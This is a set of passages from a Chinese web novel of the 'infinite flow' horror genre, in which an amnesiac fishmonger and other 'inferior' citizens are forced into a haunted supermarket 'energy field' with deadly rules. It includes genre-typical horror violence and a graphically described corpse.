《劣等人类补全计划[无限]》 1. 补全计划 《劣等人类补全计划[无限]》全本免费阅读 “我天呐,你们听说了吗,最近清水街附近老有人失踪呢,怕死个人!”一爆炸头胖大妈手起刀落,斩断一只鱼头。 “哈?联邦治安这么好,怎么会突然搞失踪?秋姨你是不是公众号小新闻看多了?那些都是放狗屁的,都是危言耸听!”一黄毛小年轻抬起头来不屑道,下一秒他手机里传来游戏角色被击杀的提示声,小年轻低骂一句,扫兴地把手机扔到了一边。 “不过说到失踪,我就想起了赵叔他老婆女儿,那事已经发生多少年了?”小年轻用手肘捅了捅身边身形伛偻的老头。 老头一抖,剁鱼的刀差点落到自己手尖上,他苦涩地笑着:“不提这事,不提这事……” “怎地不提了?这事发生的时候我还没来海鲜市场呢,我好奇,赵叔你给我说说——”话音未落,一只沾满鱼鳞和脏污血液的橡胶手套砸到了小年轻脸上,小年轻躲闪不及,吃了一嘴鱼腥味。 “就你长了张嘴?”秋姨皱起厚嘴唇,吐沫星子横飞。 赵老头仍旧挂着苦涩的笑:“不提这事,不提这事……” 一个是满嘴跑火车的没素质小屁孩,一个是三棍子打不出一个闷屁的糟老头子,秋姨和他们没话讲,只能将目光转向在场的第四人。 “十三啊,听姨的,换个地方住吧,你住处太远了,不安全……” 秋姨还想说些什么,一道炸白打断了她的话。阴暗的海鲜市场角落顿时被那白光照得彻亮,恍惚间秋姨只看到眼前人白得发光的尖下巴,和那永远不会上扬似的嘴角。 那嘴角一提,仿佛说了些什么,但由远及近的惊雷吞噬了一切声音,秋姨什么也没听见。 “……什么?” “没什么。”那人道。她的声音冷冽,宛如冰泉,跟AI似的听不出一丝情感的起伏。 她垂着眸,并没有被那声炸雷吓到,甚至眼皮都没有抖一下,冷静地手起刀落劈开鱼头,刀尖飞舞,熟练地把一整条鱼刮鳞、剔刺、片好,一套动作行云流水,并无半点缺漏。 少顷,窗外的雨倾盆而下,淡淡的蓝光映了进来,在她漆黑的眸子里留下一抹青。 “温十三,老板找你!”有人走进来高声道。 被称作“温十三”的女人微微点头表示听到了,随后“咔嚓”一声将刀竖着插在砧板上,脱了手套走到洗手池洗手。 她挤了点洗手液,将每一根指头都认真搓洗,在冲掉所有泡沫后才徐徐前往老板办公室。 “啧,矫情,都是杀鱼的手,也没见得其他人那么娇贵啊!”小年轻不悦地吐槽着,下一秒就被另一只橡胶手套袭了脸。 . “哝,你这个月的工资,看看有啥问题没,没问题的话就麻溜点签字吧。”这里是海鲜市场,即便是老板办公室里都有一股挥之不去的鱼腥味,就算老板点了香薰也没用,甚至二者味道一融合,更显诡异,越发令人作呕。 老板肥头大耳,宽大的老板椅甚至没法完全包裹住他超大号土豆般的身躯,他坐在气派的办公室里,像是一块猪油误入奢侈品专卖店,不合时宜,看着辣眼睛。 女人仔仔细细地看了眼文件,确认无误后在末尾签字,一个“温”字写完,她下意识要写单人旁,但笔锋一转,白纸上落下“十三”二字。 温十三其实并不叫温十三,她原名温偌水,“十三”只是她给自己起的假名。至于为何要起假名,她自己也不甚清楚——因为她失忆了,除了记得自己叫温偌水以外,其他的一切都忘了个干干净净。 “好了。”温偌水将文件推回去,视线在老板手指上缠着的白纱布上一顿。 老板注意到她的视线,立即缩回手,警惕道:“干嘛?看什么看?再看把你眼睛珠子挖下来!” 温偌水没说什么,拿起桌上的现金就往外走。 见她关上了门,老板顿时松了口气,碎碎念道:“妈的,死婆娘,摆个死人脸给谁看啊——” 话音未落,门又被打开,老板吓得直接从椅子上呲溜了下去,瘫坐在地板上。 “去年的年终奖没有给我。”温偌水冷漠开口。 “年终奖?你还想要年终奖?”老板被气笑了,手脚并用地从地上爬起来,与温偌水对视——然后他就发现这女人真他妈高啊。 为了让自己在气势上不落下风,老板勉为其难用脆弱的小脚趾支撑起庞大的身躯,惦起脚尖与温偌水视线相平。 “根据劳动者保护法,全年无休者可以获得一笔年终奖,奖金额度占总工资的百分之十。”温偌水一字一句道。 老板发誓,这是他自打认识温偌水以来听到她说过的最长的一句话。 “屁的劳动者保护法!老子还没管你要医药费咧!”老板气急败坏地举起缠着纱布的那只手,“我也是有人权的!你要年终奖可以,先把医药费给我付了!” “是你性/骚扰在先。”温偌水蹙起眉。 提到这个老板就来火。当年温偌水来他这打工,本来没想收这个连身份证明都无法提供的三无人员的,但看到那张脸时老板便换了个想法。 温偌水的五官算不上多精致——淡淡的眉毛,眼角微微上扬的凤眼,英挺的鼻梁,淡漠的薄唇。 老板常常在心里吐槽:这张脸哪里好看了?眉毛不浓没有精神!下三白的眼睛看起来太凶!甚至还是个单眼皮!鼻子那么高那么挺一点都不可爱!这嘴唇——你笑一笑会死吗? 总之,千言万语汇成一句话:老子真是瞎了眼了,怎么会看上这么一个哪哪都不像omega的omega! 但余光一瞥到温偌水,老板又忍不住一阵心悸——温偌水虽然五官单拎出来没有什么可圈可点之处,但把它们放在一张脸上就有一种莫名其妙的韵味,再结合温偌水那冻死人不偿命的气质——好一个冰霜美人! 眼见着思绪又要飘到危险的地方,老板捶了下胸口,暗骂自己色令智昏,随后清了清嗓子道:“生意人的骚扰怎么能叫骚扰?我那是欣赏!况且,就算是我先伸手去搭你肩了,你也不能一下子撅我三根手指啊!”说着,老板悲痛欲绝地再度展示自己手上裹着的白纱布。 温偌水:“事情已经过去一年了。”言下之意即为:你伤早好了,搁这演给谁看呢。 “付医药费!”老板蛮不讲理。 温偌水眼神一凛,手握成拳,指节发出“嘎啦”一声,老板瞬间噤声,两只小短手紧紧拥抱住自己,宛若鹌鹑:“你想干什么?我警告你,打人犯法,第一次我没跟你计较,第二次我可就要上家伙了哦!” 温偌水慢慢吐出一口气,挣扎了许久后道:“算了。” 如临大敌的老板瞬间松了一口气。 但下一秒他又僵直了身子——温偌水伸手从他胸口的口袋里一掏,顺走了一包烟。 看着再度关上的门,老板跟吃了九转大肠一样咬牙切齿,冲出门外对着走廊大吼:“那他妈是老子最贵的一包烟!温十三你这个死婆娘——!!!” . 温偌水回到杀鱼台时,秋姨还在絮絮叨叨地说失踪的事情。见到温偌水来了,她便匆匆扔下刀,双手伸进养鱼水缸里一搓一捞,惊起无辜鱼儿后又在围裙上一揩,脚步一挪走到温偌水身边。 “十三啊,你拿到这月工资了?咋这快呢?” “我辞职了。”温偌水道。 “哦……”秋姨愣住,手在围裙上辗转腾挪。 “什么事?”温偌水开门见山地问。 秋姨知道自己瞒不过温偌水,脸上堆笑:“十三啊,姨的儿子马上要交学费了,那死领导拖着姨的工资不发,姨又不像你那么硬气,敢直接跟老板讨……你能不能借姨一点,姨后面还你?” 说着,她便从围裙口袋里掏出一张皱巴巴的小纸,上面记满了七零八碎的东西:“你把联系方式写这,等姨领了工资了就去找你还。” “不用。”温偌水问,“要多少?” “八百……”秋姨还是有些不好意思,不断地把便签纸往温偌水眼前递,“听话,你给姨留个信儿吧。” “还听话,她能听话就要鬼了!”小年轻又开了盘新游戏,头也不抬地挖苦道。 “闭嘴吧你!”秋姨扭过头骂了声,随后又转过来劝温偌水。 小年轻见着没意思,又开始打趣赵老头:“赵叔,你给我说说当年的事儿呗!” 赵老头有些为难地看着小年轻:“不是什么好事,怕让你听着心里膈应,就不要问啦……” 小年轻又要追问,这时一个小盒子凌空划过,稳稳掉在了赵老头的砧板上。那是一包香烟,包装华丽,上面还有烫金的英文字体。 赵老头惊喜抬头,看了眼面无表情的温偌水,道了句:“谢谢闺女!”随后便欢天喜地地揣着香烟盒烟遁了。 “怎么没见得对我这么好?”小年轻不爽地嘟囔着。 温偌水没有什么私人物品,唯一的东西便是那瓶洗手液,眼看也用了个大半,温偌水便把它留在了这里。 塞了八百块钱给秋姨,温偌水收好剩下的钱,转身就要离开。 秋姨有些依 2. 能量场 《劣等人类补全计划[无限]》全本免费阅读 女人头发凌乱,散在眼前,黑色发丝下是可怖的殷红血色。一双眼惊恐地瞪大,眼白上布满了红血丝,宛如即将破土而出的细细红蛇。 她张开漆黑的嘴,露出一口尖牙,声音像是老旧卡带的磁带,尖锐到有些失真。 “逃——” 她一边叫着,一边向温偌水扑来! 先前摔倒在地的美男子见状,立马冲上前想要挡在温偌水身前,但可能是由于惊吓过度的缘故,他脚一软,再度匍匐在地,抬起头和诡异女人来了个大眼瞪小眼。 “……别、别怕……” 身体抖得跟筛糠似的,声音也颤抖得不像话,也不知道这句“别怕”是说给谁听的。 “往后退!”胡茬男从包里掏出武器准备战斗,可还没等他上前,温偌水已经冷漠抬手,一巴掌将女鬼掀翻出去! 胡茬男:“……” 就在跟前也没看清温偌水怎么出手的花美男:“……” 众人惊魂未定之时,胡茬男赶忙上前,撑着地铁门向外看去——扫视一周都没看清那女人逃去了哪。他收回视线,将武器塞回口袋里,安抚道:“警报解除。” 此话一出,众人才敢大口喘气。一位年轻男性omega甚至直接开始放声大哭,哭声影响了其他人,压抑和恐惧在人群中蔓延。 胡茬男从地上把花美男拉起来,但目光一直停在温偌水身上。 “你身手很好。”胡茬男道。 温偌水并没有应答,只是问:“人类补全计划是什么?” 听她发问,那些尚在惊慌中的人们总算抬起头来,等待胡茬男的回答。 “你们听说过最近联邦全境出现了大大小小异质能量空间的事吗?” 有人摇头,有人点头。 “听说过。”花美男平息了内心的恐慌,声音总算恢复了正常,“能量空间引发了很多诡异事件,联邦之前派军队进入处理过,但效果微乎其微。” “微乎其微?什么意思?”有人问。 这点花美男也不太清楚,只能向胡茬男投去询问的目光。 胡茬男道:“能量场层出不穷,军方的人顾此失彼,且危险系数太大,很多人都折损在能量场里了。” 此话一出,震惊四座,惊慌再度蔓延,先前那个嚎哭的omega直接晕了过去。花美男见状快步上前,伸手探向omega,一团柔和的白光从他掌心渗出,温偌水盯着那白光看了几秒,随后收回了视线。 那应该是他的异能。 不论是alpha、beta还是omega,在9岁时腺体开始发育,并觉醒异能。每个人一辈子只会觉醒一种异能,该异能属性与个人心性有关。大多数alpha好斗,因此大多诞生出强劲的战斗系异能,omega和beta的则相对柔和得多,尤其是omega,多数都会觉醒治疗系异能。也正因如此,alpha们靠强劲的异能和天生对omega的信息素支配登上了霸主之位,其余两个性别只能沦为他们的附庸。 治疗系异能,再配上那张美人脸,这花美男估计是个omega没跑了。 “还好还好,只是晕过去了。”花美男收回手里的白光,抹了把头上的汗。 小插曲一过,人们回归正题,有人问:“既然危险系数都这么高了,为何要强迫我们这种平民加入计划?” 胡茬男咂了咂嘴:“这我就不知道了。” “我们不是公民吗?为什么要这样对我们?我根本不想加入这个计划——不对,谁会自愿加入这么危险的计划啊!”有人抱怨道。 温偌水看了胡茬男一眼,沉声道:“这不就有个自愿加入的?” 闻言,众人不约而同地看向胡茬男。 胡茬男轻笑:“你倒是猜得准。” 沉着冷静,自带武器,具备一定的侦察意识,答案一目了然。 “为什么?”温偌水又问。 “虽然人类补全计划的危险系数极大,但奖励同样诱人。”胡茬男顿了顿,继续道,“如果你能连续解决十个能量场,便可以完成阶级的跃迁——从劣等人直接晋升为上等人。” 闻言,人群倒吸一口凉气。 “真、真的?” 胡茬男点了点头:“这是委员长亲口给予的允诺。” 在座的人不再哭泣哀嚎,他们都是劣等人,没人比他们更清楚成为上等人意味着什么。 不再挨饿,不再衣不蔽体,不再四处漂泊,不再像狗一样没有尊严地活着。 “这位……大哥?”有人出声。 “我叫胡权。” “胡大哥,你已经解决几个能量场啦?” “三个。” 听了这话,人们松了口气:“这个能量场,你……您有把握吗?” 胡权将随身携带的包背在身上,道:“不用那么紧张,能量场不会是死局,只要按照它的规则来,就一定可以通关。” 有了这话,人们便感到轻松了些。眼见着胡权要往外走,众人纷纷从地上爬了起来,跟上他的脚步。 在擦肩而过时,温偌水问了最后一个问题:“你为什么会被评为劣等人?” 胡权低声答:“没有为什么。” . 众人前脚刚下地铁,后脚地铁门纷纷关闭,一阵刺耳的巨响后,地铁很快消失在了众人眼前。 胡权想起了什么,说:“车身上标注着‘X’的即为通向异质能量场的地铁,上这种地铁不需要安检,所以可以自带武器。”说着,他晃了晃手里的匕/首。 众人跟着他向地铁站深处走去。灯光有些晦暗——不,倒不如说是灯光照常明亮,但眼前之景却像蒙上一层灰色纱布一样晦暗。地铁站的墙壁上贴满了广告,有食品的、游戏的、旅游的,花花绿绿的图案看着挺喜庆,但不知为何广告上的明星都长着同一张脸,露出平淡又诡异的微笑,让人有些不寒而栗。四下寂静无声,除了众人的脚步声和呼吸声外,连只苍蝇的振翅声都听不见。 “联邦在异质能量场附近检测到大量负面情绪,因此初步断定能量场是由于怨念的聚集而形成的。”胡权道,“解决能量场的关键就在于破解这些怨念。” “怎么解决怨念?”有人问。 胡权:“找到怨念的主人,我们一般称之为域主,按照域主给定的规则,找出他的怨念点,解决掉就可以通关了。” 他说得轻巧,但实际上远比这复杂得多。 温偌水看着他的背影,不知道他为何有问必答、有求必应。虽然她并不想恶意揣度别人,但她不信从生死局里厮杀出三回的人还抱有什么纯粹的赤子之心。 就在她思考时,一个轻柔的声音打断了她的思绪。 “姐姐,你叫什么名字呀?” 温偌水扭过头去,只见花美男正笑眯眯地看着自己。 看见温偌水打量的目光,花美男连忙摆手:“我不是要搭讪的意思,也没有什么龌龊的想法……”他越说越觉得奇怪,最后蔫巴地垂下肩,“我就是想认识一下你……对了,我叫顾随之。” 温偌水看了眼他漂亮明媚的桃花眼,鬼使神差地开口:“温……十三。” “温十三?”顾随之眨了眨眼睛,轻声念道,“你叫温十三啊。” 他垂下眸,浓密而长的睫毛投下一小片阴翳,温偌水看不清他的眼神。 少顷,他抬起头,冲温偌水绽开一个灿烂的笑:“很高兴认识你温温姐姐,遇到危险不用怕,我会保护你的!” 温偌水回想了一下他刚刚的“勇猛”表现,满脸都写着“怀疑”二字。 兴许是看懂了温偌水的眼神,顾随之尴尬一笑:“虽然我胆子是很小啦,但是我的异能很好用哦!不管你受了多重的伤,我都可以治好你!” 说着,他摊开掌心,想要给温偌水再度展示一下自己的治疗小光团。 一秒过去,两秒过去,三秒过去…… 无事发生。 顾随之脸上的笑容僵硬了,下一秒他疑惑地搓了搓手:“我光团呢?那么大一个光团呢?” 这时,胡权扭过头来道:“在异质能量空间内是无法使用异能的。” 闻言,不仅仅是顾随之表情 3. 笑哈哈超市(一) 《劣等人类补全计划[无限]》全本免费阅读 温偌水最先从怔愣中回过神来,她扭头一看,只见那超市的大门已经从外头被锁上了。 透明的玻璃门积满了灰尘,上头还贴满了各种类似于“疏通下水道”“重金求子”“专业开锁”的小广告,因此只能看到外头模糊的一个影,其他啥的看不真切。 温偌水闭上眼梳理了一下目前已知的信息,再度睁眼时两个纸糊似的npc便鬼魅般闪现在她眼前。 “欢迎光临!”他们的声音尖锐而失真,在即将破音的边缘来回徘徊,类似于指甲划拉玻璃的声音,听着让人生理性不适。 “简单自我介绍一下,我叫吴仁。”中年男子说道,“旁边这位是我的父亲——” “我叫吴顺财。”老头说道。 “我们是这家超市的主人,大家有什么需求尽可以向我们提,不用拘束。”吴仁咧着嘴笑起来,笑容十分阴森可怖。 顾随之双手捂脸,眼睛半眯着从指缝中打量着npc二人组,低声道:“妈呀,这两人的嘴咧得可以去申请吉尼斯世界纪录了吧。” 温偌水瞥了他一眼,只见他抖如筛糠,两股战战,一副马上就要晕厥过去的表情,温偌水不能理解他为何在这种情况下还能插科打诨。 收回视线,温偌水百无聊赖地开始打量四周。 和从外头看到的不一样,笑哈哈超市内竟说得上整洁。货架整齐排列着,物品也都井然有序地陈列其中。 温偌水突然大步走向陈列食品的货架,开始挑选商品。 她错过了那碗香喷喷的炒面,此刻债款还没来得及交,饭也没吃着,可谓赔了夫人又折兵,眼见着肚子即将发出凄惨的悲鸣,温偌水决定先吃点什么。 她拿起一块看上去还算诱人的面包,查看生产日期和保质期。大多数食品的保质期只有1-2年,这块面包也不例外。但目光扫到生产日期时,温偌水便愣住了。 面包的生产日期是120年5月21日,距今已有十年之久。 温偌水皱起眉头,将货架上的其他东西都一一翻看了一遍,无一例外,所有商品的最新生产日期都停留在了120年5月21日。 为什么? 她扭头看向收银台后面的墙壁,上面挂着一张营业许可证,时间也在120年5月21日之前。按道理,管理局应该会每隔一段时间就对商铺进行一次资格考察,并更新下发营业许可证的时间,这家店整整十年都没有更新过营业证明,有关部门是如何允许它继续存在的? “二位好,我们是路过此处的旅客,现在迷了路,不知道如何回去,二位这里可否有留宿的地方借我们暂住几晚?”人群里唯一的老手胡权对着两个npc客气道。 他这么一说,温偌水才想起来他们身处异质能量场中,能量场里的东西估计不能依据现实逻辑来推测。很快,npc的回答便映证了她这一猜测—— “当然有,二楼有客房,各位可以暂住那里。”吴仁笑眯眯道,“客房数量很多,刚好可以住下……22个人。” 这里明明是个超市,但还有能容下22个人的客房,看来是依据进入能量场的人数故意设置的。而胡权上来就问能不能提供住宿,显然表明了清除能量场是场持久战,光是一天两天是远远不够的。 逻辑都合上了,不过刚刚胡权和npc的对话仍旧让温偌水感到有哪里不对劲,她扭过头扫视人群,眉头轻蹙。 顾随之依旧保持着双手捂脸的别扭姿势挪步到温偌水跟前,轻声问:“温温姐,你是不是饿啦?” 温偌水:“?” 顾随之:“我看你刚刚一直在翻摆放食品的货架。” 温偌水:“。” 她确实饿得要死,但货架上都是过期食品,她只能忍着。 这时,手里被人塞进什么东西,外包装壳有些扎手。温偌水低头一看,只见手心里躺着一块小饼干。 顾随之伸出一手抵于唇边,做了个“噤声”的手势,低声道:“我身上只带了几块……不要告诉别人哦。” 下一秒,他再度对上npc的视线,受不了裂口人的顾随之赶忙捂住双眼,硬着头皮往前走。 温偌水看着手心里的饼干好几秒,然后火速撕了包装囫囵吞饼。浓郁的奶香味在嘴里炸开,饼干看上去很是干燥,但入口即化,口感出奇得美妙。温偌水被香甜小饼干抚平了心中的烦躁,一直攥紧的拳头也松开了些。 超市的二楼别有洞天,漆黑的走廊弯弯绕绕,深不见底,数道一模一样的门树立两边,布局和酒店差不多。不过门一打开,和酒店的差距还是高下立见了。 由于超市位于地铁站,即便是二楼也处于地下,由于常年缺少阳光,房间内充斥着一股霉味,让人喉咙发紧。房间内的灯时好时坏,好的时候也好不到哪里,灯光晦暗,底部积累了一层黑乎乎的污垢。墙纸受潮发皱,部分和墙皮一起窸窣掉落,坠了一地。 每间房内总共就两张床,床板是木头制的,受潮腐坏,坐上去就发出吱呀的噪音。床铺被褥不知道上次晾晒是什么时候,也有一股霉味,摸上去还潮唧唧的。卫生间——更别谈,小得离奇,人在里头转个身都难。卫生间里一律是蹲坑,甚至有几个坑里长出了杂草和蘑菇。淋浴头就在蹲坑正上方,也就是说洗澡时人必须双腿跨站在蹲坑两侧,除此之外别无他法。 温偌水刚刚松开的拳头此刻骤然捏紧,她已经在心里默默计算杀死两个npc之后火速撤离能量场的几率了。 吴仁和吴顺财把众人带上二楼后便打了个招呼下楼了:“请大家自行分配房间吧,我们去给各位准备晚饭,分配完房间后大家就可以下楼来吃晚饭了。” 二人一走,顾随之才松开一直捂着脸的手,他长长地舒了口气,不断地拍着胸口:“太吓人了,这两人吃什么长大的?怎么长这么吓人!” 走在最前头的胡权嗤笑道:“快些习惯吧,这才哪到哪啊,能量场里比这吓人的多了去了!” 话音刚落,温偌水便感觉到身边人一个趔趄,差点就要给众人磕个大的了。 “废话不多说,快点分配房间吧,alpha和omega分开住,以免发生什么……意外。”说到这句时,胡权的表情明显地抽搐了一下,看来是在之前的能量场里遇见了什么匪夷所思的事情。 温偌水不怕鬼,并且对人际交往无感,因此很想自己一个人住一间。但数了数房间数,不多不少正好11间,看来自己独处的计划算是泡汤了。这群人她都不算熟悉,唯一能叫得上名字的同性别就只有顾随之,于是她瞥了眼身边的人,等待着他主动邀请。 但,诡异的事情发生了——只见顾随之弱弱地举起手,细声细气问:“我是alpha,有没有其他alpha愿意和我一间?beta也行……” 温偌水:“?” 能量场、长相诡异的npc都没能让温偌水情绪起伏,但顾随之的一句“我是alpha”却让她感到无比惊讶。 当然,惊讶的不仅是温偌水,其他人也同样被shock到。老练如胡权都忍不住张大了嘴巴:“你是alpha?” 顾随之哭笑不得道:“我知道我长得很不像个alpha,性格也不像,但是身份证上就是这么写着的……你们要是不信我可以把身份证掏出来给你们看看?”说着他便真掏起了口袋,众人围上去一看——嘿!果真是个alpha! 胡权摸着下巴上的胡茬:“你小子,还真有点欺诈性啊……不过我怎么一点都闻不到你的信息素味?” 按道理来讲,alpha的信息素是很强烈的,即便他们不刻意释放,也能让周围的人在第一时间意识到他们是alpha。 提到这个,顾随之便羞涩地挠了挠后脑勺,打哈哈道:“我腺体有缺陷,信息素很稀薄,闻不到很正常……” “你就是因为这个被评为劣等人的?”有人问。 “差不多吧……” “那你和他一起吧,都是alpha。”胡权指了指温偌水道。 温偌水面无表情:“我是omega。” 众人再次震惊:“什么?你这样的……居然是omega?” 也难怪大家会震惊,温偌水个子高,长得也不像一般omega那样娇柔甜美,怎么看都像是个alpha。 人们看看顾随之,又看看温偌水,内心吐槽:这也太具有欺诈性了! 短暂的震惊过后,众人火速分了房间,温偌水和一个名叫季小柔的女性omega分到了一间,顾随之则住她们对面。 季小柔身材娇小,个子和小学生一般高,但脸上却化着妖艳杀马特的妆,看上去颇有一种小孩装大人的违和感。 虽然温偌水对他人的外貌并不在意,但这并不意味着她可以对季小柔鹦鹉般的话痨熟视无睹。 分好房温偌水便开始打扫卫生,在这短暂的半小时内,季小柔的嘴根本就没有停过,叽叽喳喳吵得温偌水脑袋嗡嗡疼。 “姐姐你叫什么?” “姐姐你不害怕吗?” “姐姐你为什么要现在打扫卫生?” “姐姐……” 季小柔话音未落,就被一记冰寒的眼刀逼回了剩下的话。 “安静点,不然你就去和npc 4. 笑哈哈超市(二) 《劣等人类补全计划[无限]》全本免费阅读 惊恐的一幕发生了——两个npc的眼球飞速转着圈,很快它们脱离了眼眶的束缚,宛如受惊的蝌蚪一般在脸上游弋,速度之快竟让人产生一种他们满脸都长着黑色眼珠的错觉。 怪诞之感化为实体的鸡皮疙瘩爬上全身,女人惊恐地捂住嘴,恨不得把呼吸都塞进肺里。 胆小如顾随之,差点一命呜呼,他绝望地捂住双眼,又开始默念那不合时宜的马克思主义方法论和世界观。 “嘿嘿嘿……”随着乱晃的眼球归位,npc又笑起来,“所以,大家还是尽量不要违背规则啊。” 撂下这一句,两人便跟鬼魂似的飘远了。 npc一走,众人才重拾喘息的能力,冷汗已经密布全身,一行人里只有老手胡权和根本不害怕的温偌水要好一点。 胡权若有所悟地看向温偌水,试探地问:“你不害怕?” 在这种情况下,是个人都会害怕的,胡权也怕,只是故作镇定罢了,但是眼前的女人却十分冷静——那并不是装的,因为刚刚两个npc眼球乱晃时,温偌水眼睛眨都没眨一下,甚至还饶有兴趣地保持着身体前倾的姿势。这一发现让胡权有些困惑,也有些警惕。 温偌水很快读出了胡权的心思,但在这种情况直言自己不害怕会招来猜忌,温偌水懒得多费口舌,于是很没诚意地说了句:“我怕得要死。” 胡权:“……”你一脸淡定地说出这句话鬼才信呢! 腹诽之音尚未落下,一边的顾随之便从指缝中探出眼:“温温姐你别怕,我会保护你的!” 胡权:“……”真有人信啊? 众人被两个npc搞得有些反胃,兴致缺缺,npc一走便有人离席回了屋。胡权再度叮嘱众人夜间不要乱晃之后也回到了自己的住处,只有温偌水站起身来伸了个懒腰,往其他地方走去。 “温温姐,你去哪?”见她并没有往二楼的方向走,顾随之急忙跟上。 “去找线索。”温偌水道。 “找线索?”顾随之显然是第一次进入能量场,整个人都处于震惊恐惧后的迷茫之中,像个愣头青。 “线索不会主动来找你。”温偌水看了眼二楼的方向,道,“那家伙估计也在找线索。” “那家伙”自然指的是胡权了,温偌水不相信他会乖乖窝在房间里等着夜晚的到来。 温偌水带着顾随之一起搜索一楼超市内的线索。一楼和其他超市并没有什么不同,高大的货架,鳞次栉比的货物,地砖干净整洁,连一丝破损的裂痕都没有,货架上也一尘不染,如果不是所有的最新生产日期都停留在了120年5月21日,那一楼就没有哪里值得人怀疑的地方了。 温偌水挨个检查货架上的货物时,顾随之晃到了收营台。收营台的里侧有一个小小的龛台,龛台上放着的不是菩萨像而是两张黑白照片,照片上是一男一女两位老人,从眉眼来看可能和双吴沾亲带故,顾随之推测他们可能是吴顺财的父母。 龛台上的香炉里点着香,冒着缕缕烟气。顾随之翕动着鼻子,随即一皱眉:“这香怎么一股子焦糊味?” 温偌水隔得远,并未听清他在说什么。她伸手依次摸索着货架上的商品,所有的货架上都堆满了货物,看来双吴很是勤快,补货很及时。 突然,她手一空,抬眼看去,只见是摆放卫生巾的货架后缺了几包日用款。 温偌水挑了下眉,仔细检查一遍后确认全货架上只有这几包卫生巾没有补货。 这是偶然吗? 也许只是随行的人拿走应急的呢?毕竟日用品和食物不一样,即便十年过去,只要包装完整,用一用也不是什么大问题。 温偌水收回手,将这一疑点纳入心中。 就在这时,不远处传来顾随之的小声尖叫,温偌水走上前去一看,才知道原来是顾随之不小心碰到了电视遥控器的开机键,电视里冒出的声音吓了他一跳。 兴许是没有信号的缘故,电视屏幕上雪花闪动,劣质的扬声器中发出失真嘈杂的沙沙声,磨得人耳朵疼。 温偌水皱着眉按下关机键,世界才恢复安静。 “吓死我了……”顾随之的胆子不知道是怎么长的,有种发育不良的既视感。他伸手拍了拍胸口,劫后余生地吐了口气,“这电视也太吓人了。” 十年之后联邦里很少再见到这种老旧的台式电视,因信号不好而时常出现的雪花屏也销声匿迹了。 电视屏幕并没有随着关机键的落下而彻底熄灭,上头还留着一丝残光,在两人的呼吸间慢慢落了下去。凸出来的电视屏幕映着两人的脸,顾随之看了一会后忍不住搓了搓胳膊:“不会有女鬼从里面爬出来吧?” 温偌水看了他一眼:“也许?”毕竟这里是能量场,两个npc都能眼珠子世界周游了,电视机里爬出一两个贞子同款也不是什么离奇的事。 她不说还好,一说顾随之的心就要跳到嗓子眼了,他牙齿打着颤,结巴道:“温、温温姐,你、你别、吓、吓我……” 看着顾随之那吓得快要灵魂出窍的模样,温偌水不禁失笑。 瞥了眼他身上穿的时髦衣服,温偌水脱口问道:“你为什么会被评为劣等人?”劣等人一般都是底层的穷人,像顾随之这种打扮精致,就连口袋里的小饼干都是高级货的小公子一般是不会成为劣等人的。 “因为腺体有缺啊。”这话顾随之已经说过一次了,但面对温偌水的提问,他还是耐心复述了一遍。 温偌水看了他一眼,直觉并不是这么一回事,但眼看着快要到九点了,温偌水也就没再揪着这个话题刨根问底了。 二人回到各自的住处,临别时顾随之还扒拉着门依依不舍道:“温温姐,明天见。” 温偌水没说什么,径直走进了自己的屋子,冷酷得不像话。 刚甩掉一个烦人精,另一个烦人精就迫不及待地粘了上来。季小柔叽叽喳喳问:“姐姐,你们刚刚去哪了?怎么现在才回来?” 她脸上的妆还没有卸,在晦暗的灯光下显得有些渗人。 温偌水知道,这种人只要你理一下,马上便会陷入无止尽的吵嚷中,因此直接忽略了她的提问,去卫生间简单洗漱过之后便躺到了床上。 季小柔感到无趣,便也洗漱上床了。 这一夜温偌水睡得很沉,她睡眠向来很好,即便误入这样一个诡异的能量场,也没能耽误她吃饭睡觉。 一夜很快过去,早上温偌水还在刷牙,便听见门外传来了一声凄惨的尖叫声。 季小柔吓得牙膏沫呛进嗓子眼,惊天动地地咳了个半死不活。温偌水则淡定漱口,洗完脸擦完手后才打开门探查情况。 走廊里已经聚集了不少人,里三圈外三圈地将门口围了个水泄不通。 刚刚那声尖叫太过耳熟,即便温偌水不动脑子都知道那是顾随之在叫,此刻所见之景证实了她的想法,只见顾随之坐倒在人群里,目瞪口呆地看着眼前的尸体哭得梨花带雨。 “昨晚到底发生了什么?”胡权沉着脸问。 “我不知道,我不知道……”顾随之抱着头,胸膛剧烈地起伏着,满脸都写着震惊和绝望。 温偌水越过人群一看,地上的那具尸体堪称惨不忍睹,浑身都是刀伤,刀刀见骨,碎骨和残肉混杂在一起,仿佛被绞肉机打成的肉泥。尸体的头部更是不忍直视,脑袋已经瘪了下去,头骨碎成了渣渣,粉红色夹杂着白色黄色的脑花已经开始发灰,泥了一地。最可怕的是,那人的脸皮被人尽数剥了去,只见得血肉模糊的肉和骨,五官皆不翼而飞。 五官已无法辨认,但通过沾满鲜血的衣物来看,温偌水认出了这名死者——他是昨天分配给顾随之的室友。 “你舍友离开了房间你都没听到?”胡权有些不可置信。 “我睡眠不好,每天晚上必须吃了安眠药才能睡着……我昨晚上吃了粒安眠药就昏睡过去了,他什么时候离开的我真的不知道……”顾随之捂着脸,晶莹的泪从他的指缝 5. 笑哈哈超市(三) 《劣等人类补全计划[无限]》全本免费阅读 尸体没能带来的冲击力由满墙的血字带来了,季小柔由于怔愣而忘记眨眼,盯得久了竟觉得那一个个血字像是活了过来一样,蜿蜒扭动着,似乎下一秒就要冲破束缚直直刺向她的眼球。 天灵盖麻麻地疼,季小柔愣了好几秒才恢复了动的能力,扶着墙呕吐起来。 一旁的顾随之虽然没吐,但震惊的表情足以说明此刻他也并不好受,细细观察便可发现他的睫毛在快速颤抖着,嘴唇也泛出不自然的白来。 而温偌水则冷静得多,甚至当季小柔直起身时还捕捉到了她眼神中的一丝兴奋。这一发现让季小柔有些迷惑,她揉了揉眼,再度向温偌水看去,但温偌水的神情已经恢复了正常,季小柔都开始怀疑自己刚刚看到的那上扬的嘴角是不是错觉了。 “走吧。”温偌水收回视线,转身向楼下走去。 “去、去干嘛?”季小柔颤颤巍巍地问。 温偌水像看傻子一样看向她,施舍了几个字:“吃早饭。” 季小柔:“?”都这样了你还吃得下?! 她嘴里嘟囔了两句,也跟着温偌水一起下楼。余光瞥见迟迟不动的顾随之,她转过头来道:“帅哥别愣着了,那玩意看久了晦气。” 闻言,顾随之才动了动,僵硬地跟着两人下了楼。 “怎么才下来?”胡权吃着早餐问。 “找到了第二具尸体。”温偌水随便找了个空位坐下,捞过碗筷就开始吃早饭。 一听到这话,在场的其他人都愣了下,纷纷放下了手中的筷子。 “情况如何?”胡权又问。 “一样。”温偌水答。 胡权点了点头,陷入了沉思。 